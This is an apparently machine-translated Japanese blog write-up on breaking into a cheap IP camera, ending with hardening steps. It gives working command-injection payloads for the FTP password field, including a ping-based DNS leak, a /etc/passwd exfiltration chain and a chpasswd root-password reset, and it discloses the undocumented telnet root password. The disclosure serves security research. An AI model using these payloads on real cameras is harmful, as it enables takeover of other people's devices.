IPカメラをハッキングしてバックドアを見つけた方法

時が来ました。 安価なIPカメラの形で2台目のIoTデバイスを購入しました。 このカメラのセキュリティに関する私の期待は高くなく、すべての中で最も安いカメラでした。 しかし、彼女は私を驚かせることができました。









箱を開けると、最初に目にしたのは4桁のパスワードでした。 これは、デバイスを構成する管理者ユーザーのパスワードです。 以下のビデオをご覧ください。 ほとんどの人はこのパスワードの変更を気にしません。



明らかに、このカメラはイーサネットケーブルまたはWi-Fiを介して通信できます。 WPA2のサポートは喜んでいますが、人々はWi-Fiを安全でないままにする傾向があります。



カメラとデスクトップアプリケーション間のトラフィックを傍受すると、データがポート81を介してHTTP経由で送信されていることに気付くのは簡単です。 素晴らしいセッション管理。 ユーザー名とパスワードは、暗号化せずに各GETリクエストで送信されます。 Wi-Fiは保護されていましたが。



幸いなことに、デスクトップアプリケーションはパスワードをファイルにクリアテキストで保存します。



"C:\Users\<USER>\AppData\Local\VirtualStore\Program Files (x86)\<REDACTED>\list.dat"
      
      





この素晴らしいカメラはUDP経由でクラウドにアクセスします。 サーバーは香港と中国にあります。 IPカメラがクラウドに接続する理由に興味がない場合は、すべてが簡単です。 このカメラは、AndroidおよびIOS用のモバイルアプリケーションと対話できます。 また、ユーザーはポートとDNSの構成に煩わされないようにクラウドに接続します。 素晴らしい。



このデバイスでnmapを設定します。



 PORT STATE SERVICE VERSION 23/tcp open telnet BusyBox telnetd 81/tcp open http GoAhead-Webs httpd | http-auth: | HTTP/1.1 401 Unauthorized |_ Digest algorithm=MD5 opaque=5ccc069c403ebaf9f0171e9517f40e41 qop=auth realm=GoAhead stale=FALSE nonce=99ff3efe612fa44cdc028c963765867b domain=:81 |_http-methods: No Allow or Public header in OPTIONS response (status code 400) |_http-title: Document Error: Unauthorized 8600/tcp open tcpwrapped
      
      





HTTPサーバー、BusyBoxのTelnetサーバー、およびいくつかのポート8600が決定されました27ページのマニュアルには、Telnetについての言葉はありません。 このポートを何と呼びますか? デバッグポート? またはバックドアポート? 見てみましょう。 rootユーザー用にいくつかのパスワードを手動で試しましたが、どれも機能しませんでした。 移動しました。



ダブルブラインドインジェクション



IPカメラは、写真をFTPサーバーにアップロードできます。 ただし、このオプションには事前設定が必要です。 設定すると、機能しなかったことがわかりました。 サーバーのユーザー名とパスワードが間違っていました。 デバッグ後、パスワードに$文字が含まれていることが問題であることが判明しました。 そして掘り始めました。 この脆弱性によりコマンドを埋め込むことができると確信していましたが、使用方法がわかりませんでした。 操作を複雑にする多くの問題がありました。 この脆弱性をダブルブラインドインジェクションと呼びます。 まず、このコマンドの出力は表示されません。次に、別のスレッドで実行されます。 したがって、睡眠の使用​​は何にもつながりません。



しかし、3番目の問題は最悪で、32文字の制限です。 DNS経由で情報を送信できます。 そして、次のコマンドで、現在のディレクトリを取得できました。



 $(ping%20-c%202%20%60pwd%60)
      
      





または、読み取り可能な形式の同じコマンド:



 $(ping -c 2 `pwd`)
      
      





しかし、/ etc / passwdから情報を取得できませんでした。 $(リブート)を実行しようとしましたが、それは非常に悪い考えであり、カメラは無限にリブートし、ハードウェアリセットボタンは機能しませんでした。 幸せな時間。



以下は、シェルにアクセスしようとする必死の試みです。 夜間のハックプロセス中にEQをご利用いただきありがとうございます。 そして彼の素晴らしいアイデアを。



 $(cp /etc/passwd /tmp/a) ;copy /etc/passwd to a file which has a shorter name $(cat /tmp/a|head -1>/tmp/b) ;filter for the first row $(cat</tmp/b|tr -d ' '>/tmp/c) ;filter out unwanted characters $(ping `cat /tmp/c`) ;leak it via DNS
      
      





カメラにハッキングした後、次の問題が発生しました。 head、tr、less、more、またはcutコマンドはありませんでした。 ncもbashもありませんでした...



Youmixのビデオからcommixを使用することさえ試みました。 Commixはsqlmapに似ていますが、注入コマンド専用です。 しかし、この事件は彼にとって複雑すぎました。







何度も失敗した後、ようやくパスワードを見つけました。 ごまを開きます



 $(echo 'root:passwd'|chpasswd)
      
      





telnet経由でログイン



 (none) login: root Password: BusyBox v1.12.1 (2012-11-16 09:58:14 CST) built-in shell (ash) Enter 'help' for a list of built-in commands. #
      
      





うわーうわー:)私はすぐに私のチームが注入された場所を見つけました:



 # cat /tmp/ftpupdate.sh /system/system/bin/ftp -n<<! open ftp.site.com 21 user ftpuser $(echo 'root:passwd'|chpasswd) binary mkdir PSD-111111-REDACT cd PSD-111111-REDACT lcd /tmp put 12.jpg 00_XX_XX_XX_XX_CA_PSD-111111-REDACT_0_20150926150327_2.jpg close bye
      
      





パスワードフィールドにコマンドを入力するたびに、コマンドがこのスクリプトにコピーされ、実行されます。 その後、/ etc / passwdの内容を保存するのを忘れてしまったのではないかと心配しました。telnetのデフォルトのパスワードを解読しようとしていたからです。 幸いなことに、再起動すると元のデータが復元されました。



 root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/sh
      
      





残念ながら、Googleが123456パスワードハッシュであると提案したので、古き良きJohn The Ripperを実行する必要はありませんでした。これは、 手荷物パスワードよりもはるかに安全です







私たちが持っているものを要約する時です。 文書化されていないパスワード付きのtelnet IPカメラポートがあります。rootユーザーには123456、このパスワードを変更するGUIはありません。コンソールを使用して変更すると、次の再起動後に戻ります。 これは安全にバックドアと呼ばれると思います。



コンソールへのルートアクセスを使用して、FTPサーバー、SMTPサーバー(通知用)、WiFiパスワード(おそらく既に持っている可能性があります)、カメラの管理インターフェイスへのアクセス、または必要に応じてカメラを再構成することができます。 幸いなことに、ほとんどの場合、このTelnetポートはNATまたはファイアウォールの背後にあるため、インターネットからアクセスできません。 しかし、常に例外があります。 幸いなことに、UPNPでは、インターネットからアクセスできるようにTelnetポートを設定することはできません。HTTPカメラポート81のみです。デフォルトで保護される4桁のパスワードのみが保護されます。



そして最後に、すべてがルートとして機能しますが、これは驚くことではありません。



私の変更リスト



/system/init/ipcam.shファイルの最後に次の行を追加しました。



 sleep 15 echo 'root:CorrectHorseBatteryRedStaple'|chpasswd
      
      





または、必要に応じて、/ system / init / ipcam.shでTelnetdをコメント化することにより、telnetサービスを無効にすることができます。



必要に応じて、クラウドへの接続を無効にし(モバイルアプリケーションは使用できません)、ファイル/system/init/ipcam.shの先頭に次のコマンドを配置します



 iptables -A OUTPUT -p udp ! --dport 53 -j DROP
      
      





OpenVPNを使用してホームネットワークに接続し、カメラのウェブインターフェースにアクセスできます。 Android、iOS、および任意のデスクトップOSで動作します。



これらのIPカメラを購入する人々の99%は、それで安全だと考えています。 これで、IPカメラに付属のステッカーがわかりました。







Mr Robotの次のエピソードで、誰かがルート:123456でTelnetを介してipカメラに接続する方法を見ると、これは悲しい現実であることがわかります。



All Articles